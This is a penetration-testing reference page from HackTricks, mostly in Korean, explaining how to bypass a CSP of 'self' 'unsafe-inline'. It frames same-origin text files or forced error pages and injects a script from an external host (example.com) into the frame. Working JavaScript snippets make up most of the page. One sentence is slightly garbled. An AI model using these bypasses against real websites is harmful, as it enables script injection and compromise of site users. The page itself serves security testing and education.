hacktricks/src/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md

2.6 KiB

A configuration such as:

Content-Security-Policy: default-src 'self' 'unsafe-inline';

코드가 문자열로 전송되는 함수를 실행하는 것을 금지합니다. 예를 들어: eval, setTimeout, setIntervalunsafe-eval 설정으로 인해 모두 차단됩니다.

외부 소스의 모든 콘텐츠도 차단되며, 여기에는 이미지, CSS, WebSockets, 특히 JS가 포함됩니다.

텍스트 및 이미지 경유

현대 브라우저는 이미지를 HTML로 변환하여 표시를 향상시키는 것으로 관찰됩니다 (예: 배경 설정, 중앙 정렬 등). 따라서 favicon.ico 또는 robots.txt와 같은 이미지나 텍스트 파일이 iframe을 통해 열리면 HTML로 렌더링됩니다. 특히, 이러한 페이지는 종종 CSP 헤더가 없으며 X-Frame-Options를 포함하지 않을 수 있어, 이로부터 임의의 JavaScript 실행이 가능해집니다:

frame = document.createElement("iframe")
frame.src = "/css/bootstrap.min.css"
document.body.appendChild(frame)
script = document.createElement("script")
script.src = "//example.com/csp.js"
window.frames[0].document.head.appendChild(script)

오류를 통한 방법

유사하게, 텍스트 파일이나 이미지와 같은 오류 응답은 일반적으로 CSP 헤더 없이 제공되며 X-Frame-Options를 생략할 수 있습니다. 오류는 iframe 내에서 로드되도록 유도될 수 있으며, 다음과 같은 작업을 허용합니다:

// Inducing an nginx error
frame = document.createElement("iframe")
frame.src = "/%2e%2e%2f"
document.body.appendChild(frame)

// Triggering an error with a long URL
frame = document.createElement("iframe")
frame.src = "/" + "A".repeat(20000)
document.body.appendChild(frame)

// Generating an error via extensive cookies
for (var i = 0; i < 5; i++) {
document.cookie = i + "=" + "a".repeat(4000)
}
frame = document.createElement("iframe")
frame.src = "/"
document.body.appendChild(frame)
// Removal of cookies is crucial post-execution
for (var i = 0; i < 5; i++) {
document.cookie = i + "="
}

언급된 시나리오 중 하나를 트리거한 후, iframe 내에서 JavaScript 실행은 다음과 같이 가능하다:

script = document.createElement("script")
script.src = "//example.com/csp.js"
window.frames[0].document.head.appendChild(script)

참고문헌

{{#include ../../banners/hacktricks-training.md}}